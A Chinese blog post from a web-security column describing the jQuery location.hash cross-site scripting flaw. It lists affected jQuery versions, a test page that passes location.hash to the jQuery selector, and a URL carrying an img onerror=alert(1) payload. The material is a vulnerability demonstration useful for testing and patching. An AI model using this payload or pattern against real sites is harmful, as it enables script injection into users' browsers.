JQuery跨站脚本漏洞

最新推荐文章于 2024-05-22 10:11:08 发布

Mamba start

最新推荐文章于 2024-05-22 10:11:08 发布

阅读量1.8k

点赞数

分类专栏： web安全

原文链接：https://blog.csdn.net/qq_36119192/article/details/89811603

版权

web安全专栏收录该内容

24 篇文章 3 订阅

订阅专栏

原理：

jQuery中过滤用户输入数据所使用的正则表达式存在缺陷，可能导致 location.hash 跨站漏洞

影响版本：

jquery-1.7.1~1.8.3
jquery-1.6.min.js，jquery-1.6.1.min.js，jquery-1.6.2.min.js
jquery-1.5所有版本
jquery-1.4所有版本
jquery-1.3所有版本
jquery-1.2所有版本

测试代码：


 
 
   
   
    
    
   
   
   
   
    
    
     
     <html>
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     <head>
    
    
   
   

   
   
    
    
   
   
   
   
    
        
     
     <title>JQuery-xss-test
     
     </title>
    
    
   
   

   
   
    
    
   
   
   
   
    
        
     
     <script  src="https://code.jquery.com/jquery-1.0.1.js" >
     
     </script>
    
    
   
   

   
   
    
    
   
   
   
   
    
        
     
     <script>
     
     
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
         $(
     
     function(){
    
    
   
   

   
   
    
    
   
   
   
   
    
        
     
     try { $(location.hash) } 
    
    
   
   

   
   
    
    
   
   
   
   
    
        
     
     catch(e) {}
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
         })
    
    
   
   

   
   
    
    
   
   
   
   
    
        
     
     </script>
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     </head>
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     <body>
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
         Jquery xss test.
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     </body>
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     </html>

然后访问如下：http://localhost/#<img src=/ οnerrοr=alert(1)>

在线测试平台：JQuery跨站脚本在线测试

Mamba start

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
JQuery跨站脚本漏洞

原理：    jQuery中过滤用户输入数据所使用的正则表达式存在缺陷，可能导致 location.hash 跨站漏洞影响版本：    jquery-1.7.1~1.8.3     jquery-1.6.min.js，jquery-1.6.1.min.js，jquery-1.6.2.min.js  &...
复制链接

扫一扫